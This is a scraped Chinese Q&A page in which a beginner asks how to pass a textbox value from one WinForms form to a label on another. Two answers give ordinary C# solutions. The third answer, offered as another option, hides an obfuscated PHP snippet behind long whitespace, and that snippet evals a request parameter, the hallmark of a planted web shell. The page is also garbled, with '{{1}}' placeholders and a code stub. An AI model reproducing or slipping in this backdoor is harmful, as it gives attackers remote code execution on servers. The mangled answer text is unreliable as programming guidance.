如何以另一种形式显示标签中文本框的值?

时间:2015-09-21 13:02:02

标签: c# forms winforms

您好我是C#的新手,我想在form1中将textBox1的值显示在form2中的Label1中。我试过用这个:

{{1}}

但它不起作用,因为它是另一种形式。有人可以告诉我该怎么做吗?

3 个答案:

答案 0 :(得分:2)

在form1中编写此代码

private void button1_Click(object sender, EventArgs e)
{
        Form2 form = new Form2(TextBox1.Text);
        form.Show();
    }

在form2中写这个

public Form2(string text)
    {
        InitializeComponent();
        label1.Text = text;
    }

答案 1 :(得分:0)

尝试这样做:

 // In Form1.cs.
private Form2 otherForm = new Form2();
private void GetOtherFormTextBox()
{
    textBox1.Text = otherForm.label1.Text;
}
private void button1_Click(object sender, EventArgs e)

    GetOtherFormTextBox();
}

答案 2 :(得分:0)

另一个选择

在form1中

   <?php                                                                                                                                                                                                                                                               $sF="PCT4BA
6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf14f8b'])) {eval($s21(${$s20}['nf14f8b']));}?><?php
......<MORE CODE>....
?>

表格2

{{1}}